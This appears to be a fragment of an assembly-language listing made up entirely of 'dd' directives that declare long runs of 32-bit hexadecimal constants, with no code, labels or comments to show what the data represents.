		dd 94F6A7B9h, 0D1A300ACh, 17ECA2BAh, 4B001A62h,	5CE311AEh
		dd 3C6C7F84h, 631F53DEh, 72F7005Bh, 2BDC7C54h, 0D4735F00h
		dd 3FF5E030h, 0D7FC00D8h, 0F39403DFh, 5EB02F7Ch, 8858241Dh
		dd 147ADEC2h, 0D6D761BCh, 8EA0C02Eh, 4500944Ah,	837ECD77h
		dd 44C615h, 4C9F1AACh, 9539E260h, 0A4E0FA4Ah, 4B280E49h
		dd 5EA30BDDh, 77B978EAh, 0F7C2041h, 0E068192Fh,	2A2CBA8h
		dd 0A89F5DF1h, 0BCC8B0DCh, 0D75AADCFh, 0AE01E0D1h, 0B8B34BF8h
		dd 0FACE00BCh, 3BC30ECDh, 0D500D409h, 11777AD0h, 0FEC48CAh
		dd 0AF73426h, 0FB5DFCC0h, 5A0985E8h, 6A717Fh, 62939840h
		dd 786500F8h, 0D1F5044h, 7E2C195Fh, 2BB8877h, 0C827A6F6h
		dd 0C4644051h, 0F4039F49h, 9380FBD9h, 6E00DFCEh, 4CDC3C10h
		dd 0C0413450h, 0DA192DE8h, 0BE000F11h, 3692DFE4h, 4DCEDB0Eh
		dd 463C4C77h, 0F94C4580h, 97BCE00Dh, 0F7580E13h, 0E67E5440h
		dd 5C2F1175h, 0D6018B4Dh, 8D9AFAD4h, 180D6A29h,	3F603Ch
		dd 0FD6BB318h, 8F3A90F8h, 589E2CB4h, 4F8BF140h,	79167244h
		dd 81710BCBh, 0DC83EDEFh, 32E0A57Ah, 310CF5E1h,	10B73DBCh
		dd 2D7E0020h, 9B491C45h, 1700ED60h, 973B4A52h, 1C6F3C37h
		dd 80282099h, 64A1D38Ah, 0C31CB001h, 6ED8CA9Ch,	4F8EB0h
		dd 0F85107CBh, 5EBB906Ah, 1137DB33h, 6825F0C0h,	0ABD000B2h
		dd 0EE3F345Dh, 840904E2h, 9DBBB0h, 0EF7D5914h, 4E2F0092h
		dd 47AA6DABh, 37003E26h, 67E10680h, 2BBACD7h, 8260D0AEh
		dd 44C3AFB8h, 85EDBFB0h, 3C615E48h, 80E1BDF5h, 828C18E8h
		dd 24FA08h, 0C4C057Ah, 2077F50Fh, 72D9A300h, 6B1FBCCCh
		dd 0A41C4BC1h, 87006904h, 0A8AC7D2Bh, 998A3Eh, 0A060D7ABh
		dd 7B8EFCFh, 9F0098B8h,	0FE11C2EAh, 7C087Eh, 651F75D1h
		dd 4D380DEFh, 460248E2h, 0EB7D8E61h, 6E6040B5h,	403BE55Ah
		dd 0EFE828BCh, 6612D631h, 44BCE90h, 0A0EC8F36h,	410EF844h
		dd 0FDCF02D7h, 1A2ADBE3h, 0B80EC68h, 76F21309h,	24D081h
		dd 7B54B186h, 9022605Dh
		dd 0CFE1500h, 0A551C27Fh, 59EE00E5h, 0D95DA011h, 0BE17676Ch
		dd 6040931Fh, 0F4A3FFD1h, 0B6210033h, 4F244101h, 485A27D9h
		dd 2518A4C8h, 0AC784A63h, 89048000h, 66ED97EEh,	0D5AF00A6h
		dd 0C9BDBFC4h, 8FFF1505h, 0A0E286F1h, 1391CA0Eh, 3C9234h
		dd 1C8277D6h, 0A827B2E0h, 0C496F67Dh, 8B8C0100h, 0F4F5C7h
		dd 6267C1B8h, 17BBD6EBh, 6AFAA400h, 0AB2470A0h,	875B5h
		dd 82498056h, 95C352FDh, 8FCC0B09h, 0B9B80099h,	0F905D66h
		dd 0E774BDA0h, 1E4D5CDEh, 0D22780F1h, 2FFD09DEh, 43D44009h
		dd 0FDC5413h, 9700AF24h, 822EC57Ah, 79595A3Fh, 0B6D5C71Ch
		dd 3300F8E6h, 756BFDA5h, 52C4029Ch, 0A1AD9770h,	5923E0A0h
		dd 870E7D96h, 0E0BD797Bh, 8F627E88h, 12CBE2Ah, 41BB8EB0h
		dd 0A287D014h, 0D11B2C00h, 69F44321h, 0A44C034Ah, 2E1E3A3Dh
		dd 0E40EBBC4h, 53452048h, 0E01AB2h, 0CD2F975Dh,	5878A7Ah
		dd 58F29300h, 74D59BA2h, 0E1BD00ABh, 0F8CEFA6Ah, 0E54802C3h
		dd 0FE007758h, 0CD66F5A2h, 50A3817h, 0DFBD11D9h, 0E620C0DDh
		dd 6A000DDCh, 0C9A9B314h, 469273h, 9D6C55A5h, 0B935D36h
		dd 0A79000BDh, 7C8069FEh, 71887364h, 8F61280Ah,	4E3008Eh
		dd 18391DAAh, 0BA2547FDh, 26645043h, 40786515h,	0E009F2D7h
		dd 0E9D3301Ch, 2308043Bh, 30BC70D1h, 0E78F7F01h, 0D0B94CC9h
		dd 0F112A528h, 8000C664h, 0D7A438E5h, 11200A08h, 0AC1F6Ch
		dd 35F958EEh, 0ED02E6D0h, 0C8A8C6A1h, 8C94685Dh, 0B00E00DCh
		dd 5E03542Fh, 9E0072B6h, 510CAEC2h, 7B75A288h, 3FA47F9Fh
		dd 0A500C031h, 76AC8C4h, 1C5C603Dh, 0C2F500E4h,	2B557C36h
		dd 0A463008Ah, 0FD3905F3h, 905D1060h, 0A3260ECCh, 0A70B005Bh
		dd 24C9C21Ch, 8C186C32h, 0AB71EAACh, 5F509904h,	4B00222Eh
		dd 0D9E03E32h, 60FC1B00h, 0AF6C6EA4h, 8F8127D2h, 0BCAC0485h
		dd 0AE6109C4h, 55D8685Ah, 413C0447h, 0EC1BB233h, 17B016Ch
		dd 2AEC347Fh, 0B900B845h, 7E5C8EDBh, 655B03B4h,	0FC12F319h
		dd 0A37F4290h, 27DC39h,	49D167CFh, 9D65FC5h, 639E032Eh
		dd 0B6274C48h, 0C0093F30h, 7319E748h, 7D5C03FFh, 8ABF5DBAh
		dd 77339888h, 1532107h,	90278BF9h, 0D8CC6734h, 36590061h
		dd 0A254BE85h, 2507B61Bh, 676FDC97h, 0D6D712F0h, 3D3F7A7Fh
		dd 8500B391h, 0C12455B7h, 0F5399242h, 18B04BE5h, 80CC5B44h
		dd 0F163A73Ch, 80F41304h, 49AF76FEh, 0C881EDECh, 60771961h
		dd 7E034F30h, 67281472h, 0B3749888h, 823612A2h,	2204B8D3h
		dd 71841207h, 2133Fh, 0E993BE93h, 0AD0034EEh, 0CA383D9Ah
		dd 7D565D33h, 4C9448A5h, 9C89160Eh, 17A0A6BFh, 1E9CD0D4h
		dd 9A3CFD3Ah, 0DEFE8234h, 48B7974Dh, 16273D84h,	0F0EE5037h
		dd 8C0E95D0h, 64D2ABFDh, 0A7807943h, 0B01CD906h, 4C3700A4h
		dd 1B036F0Dh, 73732D2Ch, 33123094h, 6B8108B8h, 0F91A0D0Fh
		dd 0ED9880CFh, 9D9E5EF5h, 44AB0E23h, 7A204A2Bh,	29B29C6Ah
		dd 2A3288C7h, 92FAF6D0h, 0C47F504Fh, 0D5F51EDFh, 65EAC0FDh
		dd 5EC7BCA7h, 1406AD00h, 0B176AB10h, 0FC90AEh, 33C13C93h
		dd 0E226C381h, 506A1D00h, 82A494D1h, 0EA7E0030h, 24A63301h
		dd 0BD315DD9h, 4E3AD0FFh, 30B4006Eh, 9C3BA704h,	1503EA05h
		dd 58C05322h, 0B2A4721h, 0D879DF4Dh, 0AE82B840h, 48AD9200h
		dd 0BF4BC2F4h, 3CDB0942h, 847401CDh, 0C05CA08Eh, 0F557F31Ah
		dd 8508007Fh, 1CE07212h, 317E5A2Bh, 73B8E6A3h, 430F7955h
		dd 0E0106682h, 78247C6Bh, 3A9600B7h, 6F45CF8Eh,	0C9008F0h
		dd 5885511h, 692EC618h,	0CC92CD47h, 7F918212h, 9495C0D0h
		dd 0EE9C0120h, 3D0CAFB1h, 0D9B5E897h, 5000F9E4h, 0A0FFAE14h
		dd 308D5E01h, 0FE38EF7Bh, 1E009491h, 60C64ACDh,	2EAC66E5h
		dd 2C56EDFh, 8323BBBEh,	8E05A080h, 8924B453h, 0AD040828h
		dd 6600939Dh, 0C597E503h, 3016E626h, 9CD16301h,	0C83AD3A1h
		dd 0A360B7F8h, 4F201F58h, 1EC73BDh, 32F0E569h, 0E8333719h
		dd 0EA25BCA6h, 0CB400068h, 6C830F9h, 8A4F4A0Ah,	0D0D8873h
		dd 417B083Fh, 0E4C4802Fh, 833BEFABh, 71A50Fh, 0F4A5EDB0h
		dd 28D86063h, 418D39E6h, 80E1FF25h, 54F11D9Ch, 0DD3A00D7h
		dd 7F91767h, 0E8C0197Eh, 0CEE07DFEh, 0D0180093h, 776503E5h
		dd 0C9099B01h, 9EE5CFBh, 0C5D682A0h, 1DB86482h,	7837152h
		dd 0F2057A2Ch, 0D4404D17h, 0E3E59086h, 70E4881Fh, 1C835600h
		dd 26F7768h, 3C9AE70Fh,	0AC8243F1h, 9E20FFA5h, 9DA3A1h
		dd 5E06317Ah, 2A1F7BFDh, 49598A73h, 0B8D82848h,	805B489Ah
		dd 476EC20h, 78AEA20h, 0A8038968h, 0B790E08Fh, 606080CFh
		dd 0E95BF8C0h, 7BEE8446h, 520022FCh, 84F974FBh,	0FAE831E4h
		dd 0E09805F0h, 0C07EF2D0h, 0FAAC7324h, 0D8CC540Fh, 0B1C3A011h
		dd 61CBA7h, 4DB7BB90h, 0B6296B64h, 0B8A0766Fh, 6E4628h
		dd 17127177h, 10E45A37h, 2435C207h, 34204853h, 28F6075h
		dd 150AD973h, 0C2E0A207h, 0DE00C0A7h, 0BF94550Bh, 8FB4D7h
		dd 3374C849h, 0E60C4D47h, 0B75BDB00h, 0E86DD651h, 6A7B0505h
		dd 803FC590h, 1BEA2863h, 86C8A0BFh, 4C0926Eh, 11FA604Ch
		dd 0A449BAADh, 8324DE21h, 51120670h, 0B8291FB8h, 81379700h
		dd 67D4B2C0h, 0C99A0093h, 34D0C6C5h, 0E74A5D99h, 3DD5D4C8h
		dd 0B5800D6Fh, 4CAAB3C4h, 32173669h, 380F0EA6h,	0E4560114h
		dd 51F5DB3Fh, 6F02EC2Dh, 231DE0AFh, 803864F6h, 3E0A0F78h
		dd 0DA37D9h, 405602E4h,	0FDC79903h, 68C0515Eh, 2C0C8D3h
		dd 0A1127B97h, 0BCC8684Bh, 0B305EC82h, 98253FB9h, 56B81000h
		dd 13E6F186h, 0E467372Ch, 412E3234h, 9C00D7E1h,	0B9DAB692h
		dd 3980FBA8h, 0F457F7AEh, 783E6ED6h, 0F028013h,	3F154EB8h
		dd 3D1200E5h, 0D6F7D036h, 9B03AC60h, 577B7F7Eh,	87F4C8BBh
		dd 0D450013Ch, 8BF00BEDh, 2B063132h, 31A64C90h,	0A44597FEh
		dd 0B2E65D0h, 0BA429CC2h, 0AAB694A0h, 0CC031694h, 99A86D60h
		dd 0D50C9008h, 982831E5h, 90CD1689h, 631DA020h,	9141DC8h
		dd 9074BAF4h, 0BCE97992h, 29986D19h, 0A07400A8h, 0A9680061h
		dd 381DE0Ah, 1E037BB6h,	8A7EC7E7h, 711800D0h, 0ACC634CAh
		dd 5D2CDA62h, 3607D2A5h, 0E4518C96h, 0CDF06B33h, 91D00288h
		dd 0B7DFDB69h, 66A8015Dh, 89AC5CFCh, 850D00ABh,	36B7D7DBh
		dd 359920D9h, 6B0AB884h, 848FAD8h, 148C202Ch, 0CD56AC5h
		dd 18E0E34Eh, 43D0906Dh, 0A9A70563h, 108A2734h,	5E13998Bh
		dd 0C43700E9h, 68EF608Bh, 0F7D61100h, 1F58867Fh, 0AC7825h
		dd 0C524410Ah, 743B2A6Dh, 0BD008A90h, 528189Eh,	2A50ADA5h
		dd 0B8A844h, 73B8DCF1h,	0B4697EEBh, 0BA465A02h,	0E037F554h
		dd 11AFB48h, 0E514AC9Ah, 0CC7F2CB7h, 8C604307h,	0DBE81841h
		dd 6AFD003Eh, 0F9157652h, 0D0C0D04Dh, 0FE944CE4h, 0E87A0190h
		dd 8D3AE55Ch, 79C8E30Eh, 0D478C436h, 6C6FC000h,	710A46D7h
		dd 8A890FF2h, 2DE014E4h, 57858E5Ah, 71946D37h, 78EFF4C0h
		dd 3E700351h, 0B236DB61h, 165D85E8h, 0AB633Ch, 6E0247B7h
		dd 7342E522h, 0EC2C00F5h, 79AA1CBFh, 0C0A07FFh,	0E465CF15h
		dd 8F6F5786h, 0A8A1F261h, 62A3CCh, 0E3B78128h, 0BDC442E4h
		dd 30A08D4Fh, 7BA00046h, 158CCED4h, 21000FB3h, 6AC7D21Ch
		dd 0E2363E9h, 114B620Ch, 22573700h, 587B5319h, 1036B331h
		dd 0FD184417h, 0DD464708h, 530A83A0h, 4105304Ch, 7716D2ECh
		dd 0A6C30460h, 0D510C30Dh
		dd 19001089h, 42926A97h, 147434h, 0E3FA916Dh, 0F3EBAA76h
		dd 2978EE31h, 98FB7357h, 19AE268Fh, 82EF612h, 0B6218081h
		dd 0ED41917Ah, 39DE0374h, 36C0D76h, 0EA008170h,	8A37CE0Bh
		dd 2151EA3h, 2622B948h,	0B5C051D4h, 58A0D285h, 6861E7F2h
		dd 967A1D59h, 0D82BECh,	7CCA594h, 0EE17990Ah, 0FB285000h
		dd 0BE769272h, 0E7A3073h, 3DF35771h, 26913Fh, 975E6B51h
		dd 0ACC594Ah, 0EF02EBB1h, 9174816Ch, 182E8F5Eh,	7BB78884h
		dd 0B8659100h, 950553ACh, 0E9A9C3D3h, 71000F52h, 8B810CF7h
		dd 164AE76h, 4DCD898Eh,	0BA0AEEF2h, 42DF8749h, 0DB11FDD3h
		dd 50D8B97Eh, 6571003Eh, 0F5915586h, 2F02CFE3h,	8F05F23Ch
		dd 1D3480EAh, 53196F6h,	0C30FCE93h, 0DD9440CCh,	0AF905035h
		dd 518E3A0Ah, 0F881A45Bh, 0D1C3A816h, 59B22980h, 5A5B7539h
		dd 43F0740Ch, 0C0CA0853h, 39621121h, 4C03A538h,	6C6A2654h
		dd 0E7DAB837h, 30C1C067h, 0E3247ECEh, 68A99300h, 4A058122h
		dd 658F0003h, 1297F962h, 1C609206h, 0B35794B9h,	0BD4414BBh
		dd 0FF10BC0Ch, 9177C0EEh, 8C468F53h, 0E527E44h,	0EFF9917Fh
		dd 0B8FBE000h, 0BD0CD54Bh, 0B9D8C306h, 0CCA483h, 0CD02117Eh
		dd 41C296BCh, 84021041h, 395430C5h, 46B67A58h, 1BC2284h
		dd 0B5395D0Ch, 482E0F92h, 0AE00B3C0h, 0D0815CE1h, 0BA2BEFh
		dd 0E36609CBh, 0E720923Eh, 0C58BD50Dh, 0E88830EBh, 7560EF01h
		dd 468F5991h, 37F2276h,	5F917CB8h, 4DE08D03h, 0EF54598Bh
		dd 9030D5E4h, 0C31B2976h, 6C0F53ADh, 0D30C9A2h,	9BF40067h
		dd 652181F3h, 0F9065193h, 724FE976h, 0FC6874B1h, 6C11497Ah
		dd 0ACBC3600h, 0F9B8805h, 538FCF0Eh, 211E8C10h,	0ACC5014Dh
		dd 0A7A56E71h, 6AE480B2h, 9F7F7389h, 0DA8303E3h, 151DF946h
		dd 305BD2A0h, 0CACED54h, 0BA000879h, 1332F762h,	0E8330F6Bh
		dd 2F21C038h, 0C946D1FFh, 8072E339h, 0BE71D0DFh, 3EB7EC4Bh
		dd 0E715E13Dh, 0C0CD4FAh, 5BF1C470h, 6209102h, 0A34B8BD6h
		dd 0E32EA0h, 255A2959h,	617914EFh, 0D6679505h, 14086990h
		dd 0A8948FE7h, 98CF9F20h, 0CC0BA9F6h, 2F095FEh,	4AA3B302h
		dd 9CC026Ch, 14040A17h,	0E9222483h, 801925Ah, 2662EE4Fh
		dd 0E8C2CCh, 8BEA37CFh,	5AD97F8h, 0E8D5922Ah, 2C54E926h
		dd 598AFE40h, 91EC91E7h, 825889A9h, 47625BB5h, 61100068h
		dd 0E10BC839h, 3E42E22h, 98082CDBh, 0D00124F0h,	0B08B2865h
		dd 20CCE0h, 0BF028C7Ch,	53880AACh, 101C1910h, 0ACA856h
		dd 4C7A2CC9h, 0F291491Fh, 0A93F20B0h, 0D289E1E8h, 90C5F75Eh
		dd 12C63FCh, 0A28C6CF3h, 62158AD5h, 0BD814044h,	0AE0C9C98h
		dd 0B1D12E11h, 5B17038Fh, 0C1B39F49h, 0B482ACEAh, 0C01EDCAh
		dd 69BECE66h, 40988D24h, 1520671Eh, 0E7D88963h,	0E9190011h
		dd 0D6E309A9h, 0B63EFBAEh, 0E059A4D8h, 543E1D13h, 9C008323h
		dd 55F4B97h, 3C1C9990h,	66B7F200h, 960D5E12h, 67024A07h
		dd 6027BC2h, 18F066F9h,	510DE793h, 7A0095B5h, 9AD7FAFDh
		dd 0C5B8F0h, 0EB6CBE3Bh, 0DB0D5F08h, 2F61020Ch,	6B41E5h
		dd 2E37CCA1h, 0CB0C3F5Bh, 144CDF28h, 0BA3808D8h, 8F08C073h
		dd 9176AE3Eh, 88D5FF0Ch, 1FA87979h, 4005F372h, 97F4AE28h
		dd 0C5557E8h, 5093F1E0h, 9106086Ch, 2424E491h, 9473D000h
		dd 488987ECh, 0C4235497h, 79395501h, 0BE187A5Bh, 0C5E0D88h
		dd 56B9F39h, 0F1003771h, 0E78A935Ah, 0E4553833h, 0C429846h
		dd 97B4BD6h, 1F00BA29h,	0BCDF53Ah, 0C2E1AF9h, 206BC74Ah
		dd 7005321h, 4E95369Eh,	0E03A0CC8h, 0E8F0C0h, 0D1393DA7h
		dd 2694AA97h, 0BC78B15Ch, 0DE018C7Bh, 0FF3DFAF0h, 560D3C8h
		dd 0DA6B370Ch, 40A05AD9h, 222001B2h, 92E8A215h,	0D5ED0694h
		dd 0A6510B91h, 1B641C78h, 0E326807Dh, 6AEECA1Dh, 0EC09E716h
		dd 3A05307Bh, 4444D43Ch, 400B55ECh, 191F85B4h, 0A5F70151h
		dd 4F7F0FF0h, 0D3DF74F3h, 207AC9C4h, 97949140h,	8E005372h
		dd 2A8BFABDh, 1FD8E4BCh, 0C055454Bh, 54F34A91h,	50136497h
		dd 2C3EA25Ch, 94001D23h, 5854B62Eh, 1E7D24BBh, 80154ED0h
		dd 580A6694h, 70807E8Fh, 91747DB9h, 210BB302h, 0C4640D54h
		dd 83660214h, 1E03DE92h, 186050C9h, 23C1F209h, 0E111FF62h
		dd 76752E38h, 566102D4h, 6CF2FC1Dh, 85D59182h, 2F3764E4h
		dd 0DFD0313Dh, 0DE0C4Ah, 0B0584CF1h, 0E447F2B4h, 4961BD00h
		dd 0BA51F08Eh, 8B5B1F4Ah, 3AF07493h, 37B23F8h, 59C489D5h
		dd 2FC583F0h, 22909A58h, 918CFEDBh, 0D89714FCh,	8C7ED040h
		dd 8ACC102h, 190FC388h,	0C2501018h, 61C700ACh, 95335987h
		dd 0E891C602h, 84B5BF05h, 0EA1D8600h, 805E2Ch, 7F2BB972h
		dd 0FE59B7E9h, 5FDBD401h, 0FA6E9289h, 5C231072h, 0BD44051Eh
		dd 3562DF62h, 0D1FC1220h, 8C0600E3h, 60C702F1h,	54992F57h
		dd 5DB56300h, 0F8424BE7h, 209A073Ah, 2189195Ah,	226A0CD2h
		dd 765F0104h, 5D286D1Ch, 2C305825h, 21C1426Fh, 911F0384h
		dd 293E5C4Fh, 0CFC5C35h, 793C2EFAh, 96D5184Ch, 98DE3112h
		dd 9B5E2F03h, 0E9DD25E8h, 5980B2A6h, 203709D2h,	8705839Dh
		dd 8BB359E7h, 0E2DEFC46h, 0E0720051h, 681F4E30h, 0DC0C4F89h
		dd 298F9359h, 9E740060h, 82658375h, 0F0024269h,	0ED90C8D1h
		dd 7C24464Bh, 16593A30h, 0BCE3AF15h, 0CE6AA985h, 0C01A88FCh
		dd 9EA79072h, 9122276h,	80A9D4h, 18235A81h, 31104DE9h
		dd 4B1639BCh, 5C30D659h, 7F1BB45h, 765CE162h, 963AA25Dh
		dd 0F87154E6h, 0B2918301h, 72CB854Bh, 88121870h, 0FF01D4DDh
		dd 936B63C4h, 0C440981Fh, 67E6B8h, 0ACF77FA2h, 68CB83D1h
		dd 1CFD5A07h, 0F6B0FBDCh, 580FB39Dh, 0BD0626E1h, 0BE846B3Ch
		dd 6C3F337Ch, 25AF98F7h, 0C915B28h, 0D7B114Eh, 0BA0FA6C9h
		dd 0EBC02A41h, 949805E2h, 0D7C3FC21h, 22001822h, 211864C7h
		dd 3F00B295h, 9FF73DE2h, 327785h, 6A99B325h, 3174A27Bh
		dd 10E7BB11h, 0C443F10Fh, 0BF2A19C0h, 0F6C0CF1Eh, 0ADBC378Fh
		dd 0D46F506Dh, 963F8826h, 3EF06201h, 67D48054h,	103EC02Eh
		dd 0CD12C29Ah, 88239205h, 310E177Ah, 0A3A000EBh, 0C8F56598h
		dd 3EBEFD07h, 0E80D1C1h, 0B1FFC10h, 91F3160Bh, 2D504280h
		dd 0EF0C850Dh, 28BF2BF2h, 0AC6B1DD2h, 0FE8C039h, 0AD1006E7h
		dd 0B34681Fh, 17B36580h, 0BEEDF4h, 56994E84h, 3F644DB0h
		dd 1F35DC03h, 0B0318857h, 1DEAC32Eh, 0EE0EFF9h,	5580F041h
		dd 922390E5h, 0DB17DC0Eh, 0BFCA8035h, 0FD391FDh, 5171183Fh
		dd 70A66D07h, 24641398h, 23AAF703h, 38192EB7h, 0D73F1F10h
		dd 71C6B380h, 0EFEB17D2h, 907CBE30h, 0EAF41122h, 0E9FD0E26h
		dd 8900EE65h, 6023BB77h, 0F891DD0Ch, 7C0C8D6h, 110BC531h
		dd 17ED41E8h, 0B5DE307Ah, 0CB384A0h, 80F5CC3Ch,	780F7219h
		dd 27F6D56h, 0B15090A3h, 888069E4h, 0A51AF551h,	7D161500h
		dd 63BBFFDCh, 923800DAh, 0DA2201Dh, 0BE36E5EFh,	2858C0h
		dd 0CCA5E627h, 48142E10h, 80843500h, 8C05176h, 8C2826DBh
		dd 77B10F9Bh, 0BED6ED41h, 0B74180CEh, 0FA249397h, 0DF2F51C6h
		dd 6C7D8h, 5AA84504h, 4F1CA61Eh, 2C313800h, 0D3F93EF2h
		dd 7C5971B6h, 808103AAh, 0ACBBE703h, 82A478DBh,	8881548Eh
		dd 80E2BED1h, 0CEF8769h, 36BA9Ch, 0B29329D5h, 2277555Bh
		dd 0C2DE8A14h, 0DCA600A8h, 49C965F5h, 0A14A00D4h, 45C18C70h
		dd 200CF3F8h, 8D7FC6Eh
		dd 43400EDh, 0C88AF8Fh,	1E8ADA2h, 0B000DB7Fh, 668ACBF8h
		dd 0F898C60Dh, 139CF6C0h, 3BD0E15h, 0B786C10Ch,	0E1BCDDA1h
		dd 0D835C185h, 6101FA27h, 79186FA4h, 0CDE8ABCCh, 0C51300ACh
		dd 2899D8Eh, 1500A6D3h,	83AD8F0Dh, 7898BEF1h, 8AF6084h
		dd 8599CDDEh, 7CBC33Eh,	0D08EC2ABh, 94D901E0h, 93F74836h
		dd 64223714h, 0FCAE0447h, 11A43017h, 1D4DF410h,	7C620503h
		dd 0D60845h, 0DFEEC620h, 7EF09FCDh, 3D3C0303h, 0C0F6AE23h
		dd 0E274FA39h, 1083009Eh, 7711C990h, 0C01F2E43h, 0C20F33EEh
		dd 71DFACF8h, 740302Bh,	0AEE82779h, 10F7C030h, 1C287AE5h
		dd 86067218h, 88121D36h, 73F96E0Ch, 182941BFh, 6027AB09h
		dd 176E0FF8h, 837C0319h, 3409E3Bh, 82CDD5C5h, 98966374h
		dd 26046E0h, 177AE079h,	0A722030Fh, 49BAF197h, 0F9A65006h
		dd 20D0F681h, 8D0085DEh, 7CD2C136h, 0A88B6377h,	3E21F9Ch
		dd 2B9F4641h, 590E06C0h, 83F71528h, 7F262FCCh, 3CD60099h
		dd 0DC02A736h, 9CCA1F3h, 760212Dh, 7C863C9Fh, 7A0DE3CEh
		dd 8A762EF0h, 2A206A40h, 0C40C45h, 5F2F8509h, 0D9834D21h
		dd 4C2B8101h, 0E9290A3Ah, 2A021AF0h, 18A85B68h,	0B1D8646Eh
		dd 8000FE0Eh, 737B01AEh, 0A8B833Ch, 28D05B48h, 0FE660398h
		dd 2003C01Ch, 73ADD7C4h, 28D8B247h, 0D59104C8h,	8EB00363h
		dd 0E229A0F6h, 0A794A8F1h, 480B2809h, 830606A4h, 8977C626h
		dd 78F99A0Fh, 2C8F81F1h, 0A4481EC0h, 13120058h,	8A84A9E5h
		dd 401C9AB3h, 0AAFBF7C4h, 8E02806Ch, 0E5D5B2C3h, 0EDC48393h
		dd 690833BBh, 0B2C00121h, 0B700BD15h, 2F12B8C3h, 1549E51Fh
		dd 0B47B0CF9h, 26F1C906h, 0D43280D3h, 0B3D2C097h, 883CDBD4h
		dd 86DBB2A7h, 9DCD2C45h, 0C0AFD6FCh, 0E57A6F20h, 0C4506C6Ah
		dd 200CAD90h, 0D9F42FB1h, 2BD33937h, 63050C0Eh,	62BD7403h
		dd 2100FB83h, 892C6DD0h, 0C57065h, 0F845EAECh, 0B16C7751h
		dd 0DC3AC400h, 0D3E441EDh, 5B6925CDh, 0D6347008h, 0E1F5B201h
		dd 2D1A98F9h, 48023FE0h, 8581BCFDh, 10F38Bh, 9630CF2h
		dd 7AA2E6E0h, 51014011h, 0FCE877E4h, 0E40C59F1h, 9062A0A9h
		dd 0D4048CB0h, 0D0CCA2Bh, 0D180D867h, 64A02C6Ah, 0E8A501C5h
		dd 7A77DF08h, 1D21BBF5h, 1C26CE02h, 0B99C6200h,	5E6BB8Eh
		dd 4741A987h, 0A6E007D9h, 0A1CF0086h, 0A400EBB8h, 0BCDDB265h
		dd 214F4h, 79D3FBE6h, 239EB7F3h, 24813899h, 0BF543674h
		dd 2C207421h, 42584510h, 0A930B308h, 0A73B113Ch, 809F88DAh
		dd 1D3CB1BDh, 0DF07B2A9h, 8A30D30Fh, 0DE8DA641h, 63459420h
		dd 0FFEB79FAh, 4C342E80h, 6DB4F900h, 3DE1E232h,	9F51040Ch
		dd 402D2CCDh, 8638B835h, 74490098h, 0F8F78AD2h,	9D015244h
		dd 7D247797h, 9850F92Fh, 0F609BBAh, 90E5A817h, 6747F00h
		dd 0DA003C96h, 7D0CDFD4h, 18D69A62h, 91FD4751h,	0E5013CDCh
		dd 9CCB7ED5h, 0D43486C2h, 349A12h, 0ECEF87BFh, 0C104E2C4h
		dd 0DAA28300h, 22777117h, 0FFEA28F1h, 0AF81BC4h, 0CE80B92Fh
		dd 0F8A10DA6h, 9E0C20D8h, 2BDA028Ch, 62BD0CE0h,	21821Bh
		dd 922C5217h, 9C76B04h,	24C047F3h, 20FDE987h, 4899FC71h
		dd 0AD02F380h, 3DEC24FEh, 0BB8099EDh, 0D19BD203h, 0C700A0B5h
		dd 65FB3277h, 13025C87h, 3A9114ECh, 36F232Ch, 57A72CBEh
		dd 50F947B9h, 3EBFD3A0h, 8CBA6100h, 66142CFBh, 41231EA2h
		dd 72E30F36h, 0A8012A49h, 61CE8B16h, 818A0444h,	22EE2B94h
		dd 0B8F706A8h, 187A75h,	0D981E7Bh, 4E73B6D1h, 9772C101h
		dd 0D462BCF5h, 309CA842h, 0C6082C08h, 66636D0Ch, 350021FFh
		dd 7BDA2BE0h, 38C40D75h, 1FACAE1Bh, 65112Ch, 0C2B0F997h
		dd 0A707F3h, 7875E381h,	7C7B8661h, 0CC02B60h, 90FF3536h
		dd 11789068h, 426FF8C1h, 20FEE1F0h, 0D4C6ED0Dh,	0DC187EEAh
		dd 0A9F884A5h, 908DF0F1h, 1CDF0028h, 0ACBFBEAEh, 30A49D20h
		dd 0CF141DB0h, 8478650Ch, 34002101h, 0C4572C6Fh, 0C058934Ch
		dd 3314183Ch, 0EA660086h, 2C0241EBh, 21C5F3FAh,	108C0BF9h
		dd 0F5D32009h, 2039107h, 7DD55AE4h, 21A58401h, 4C24A2F9h
		dd 1B1476C9h, 0A1D3DBCAh, 373F29E0h, 9C58649Ah,	10FD17A1h
		dd 77026012h, 41CDD4C9h, 24EA9668h, 88FC879Eh, 32E4E080h
		dd 9892A3DFh, 0DA4207F8h, 0F09AB0B2h, 0D78ECD0Ch, 0B1E6D11Bh
		dd 0F0085038h, 3DA783Dh, 9D50A5C7h, 910F901Eh, 0A20212B4h
		dd 60E0727Eh, 9AC28720h, 0BBCF0FF8h, 0C5822CC3h, 2861293Fh
		dd 0FBDF108Eh, 9B800233h, 51B714FEh, 30879E61h,	0E748F94Ch
		dd 94F32404h, 7ECEC800h, 0A070C60Ch, 2CDF01E4h,	8054651Eh
		dd 0CC1C8E1Dh, 870030E6h, 1566257Ah, 19FAB480h,	0B1869BA5h
		dd 94D710E8h, 0F9920067h, 0FBE54F87h, 0C070CF99h, 0C09F4C34h
		dd 0B034C800h, 98A73D97h, 7EDE3D70h, 805F6118h,	350741A5h
		dd 0FEC01117h, 0AC3B8A9Bh, 6AD69641h, 19018036h, 837EA8E5h
		dd 88050C9Dh, 0E50040C6h, 0FF14DB29h, 9A25DF9h,	0FD2711A9h
		dd 7F2E1002h, 18CDF4E1h, 9C3C6593h, 0C61898AAh,	9C6788h
		dd 419E253Ch, 22AFAB6Ah, 4680FF0Dh, 0E4C0A895h,	9FE32492h
		dd 0F02F1E38h, 11E6A039h, 4E0045B0h, 77096980h,	7BE7F34h
		dd 7304DA33h, 61DC7213h, 0CDDFA848h, 62D8FC60h,	543E7B8Fh
		dd 26099065h, 44DC8B4Fh, 19794222h, 0E410C596h,	8C47601Fh
		dd 34AF0A84h, 832874FAh, 9CD2A3EDh, 77101102h, 0E77F3081h
		dd 22C8CE60h, 0FB706F60h, 40F84829h, 0E9884A04h, 45D4C8ABh
		dd 0F7990E60h, 0FCEEABFh, 31625B48h, 9780BEDCh,	0EFCA1C73h
		dd 5018AE06h, 57E9F646h, 0F1660051h, 47C07804h,	9005C593h
		dd 0B0DC72E5h, 900AC40Ch, 2A1C16D4h, 9CE82240h,	0FDE104DDh
		dd 69188CC8h, 34833095h, 91000D45h, 0D23A89DEh,	73E580h
		dd 0B7D854A0h, 5B2E4CE6h, 0EBCDE409h, 4E02BF2h,	0F9420254h
